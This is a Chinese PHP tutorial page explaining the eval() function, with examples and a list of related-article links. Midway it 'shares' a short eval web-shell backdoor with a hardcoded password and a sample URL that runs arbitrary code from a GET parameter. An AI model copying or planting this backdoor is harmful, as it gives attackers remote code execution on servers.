PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
第六节--访问属性和方法
Nov 16 PHP
php+dojo 的数据库保存拖动布局的一个方法dojo 这里下载
Mar 07 PHP
PHP可逆加密/解密函数分享
Sep 25 PHP
php支付宝接口用法分析
Jan 04 PHP
php操作xml入门之xml基本介绍及xml标签元素
Jan 23 PHP
如何使用PHP对网站验证码进行破解
Sep 17 PHP
WordPress网站性能优化指南
Nov 18 PHP
详解WordPress中创建和添加过滤器的相关PHP函数
Dec 29 PHP
CodeIgniter 完美解决URL含有中文字符串
May 13 PHP
php字符串的替换,分割和连接方法
May 23 PHP
thinkphp3.2框架中where条件查询用法总结
Aug 13 PHP
php设计模式之职责链模式定义与用法经典示例
Sep 19 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
数字转英文
2006/12/06 PHP
php使用curl存储cookie的示例
2014/03/31 PHP
Zend Framework教程之MVC框架的Controller用法分析
2016/03/07 PHP
PHP简单实现防止SQL注入的方法
2018/03/13 PHP
在网页中控制wmplayer播放器
2006/07/01 Javascript
基于jquery的文本框与autocomplete结合使用(asp.net+json)
2012/05/30 Javascript
JS获取图片实际宽高及根据图片大小进行自适应
2013/08/11 Javascript
Javascript中setTimeOut和setInterval的定时器用法
2015/06/12 Javascript
javascript解决IE6下hover问题的方法
2015/07/28 Javascript
jQuery实现的类似淘宝网站搜索框样式代码分享
2015/08/24 Javascript
谈谈我对JavaScript原型和闭包系列理解(随手笔记9)
2015/12/24 Javascript
谈一谈javascript中继承的多种方式
2016/02/19 Javascript
Bootstrap如何创建表单
2016/10/21 Javascript
微信小程序 页面传值详解
2017/03/10 Javascript
vue页面跳转后返回原页面初始位置方法
2018/02/11 Javascript
node实现登录图片验证码的示例代码
2018/04/20 Javascript
vue的style绑定background-image的方式和其他变量数据的区别详解
2018/09/03 Javascript
基于Vant UI框架实现时间段选择器
2020/12/24 Javascript
跟老齐学Python之使用Python查询更新数据库
2014/11/25 Python
python实现同时给多个变量赋值的方法
2015/04/30 Python
python用户评论标签匹配的解决方法
2018/05/31 Python
python 去除二维数组/二维列表中的重复行方法
2019/01/23 Python
Django forms表单 select下拉框的传值实例
2019/07/19 Python
python不到50行代码完成了多张excel合并的实现示例
2020/05/28 Python
Python爬虫爬取新闻资讯案例详解
2020/07/14 Python
Python执行时间的几种计算方法
2020/07/31 Python
酒吧副总经理岗位职责
2013/12/10 职场文书
英文自荐信
2013/12/15 职场文书
会计学毕业生求职信
2014/06/25 职场文书
名人演讲稿范文
2014/09/16 职场文书
监考失职检讨书
2015/01/26 职场文书
村党组织公开承诺书
2015/04/30 职场文书
如何写观后感
2015/06/19 职场文书
关于考试抄袭的检讨书
2019/11/02 职场文书
JavaScript 事件捕获冒泡与捕获详情
2021/11/11 Javascript
Three.js实现雪糕地球的使用示例详解
2022/07/07 Javascript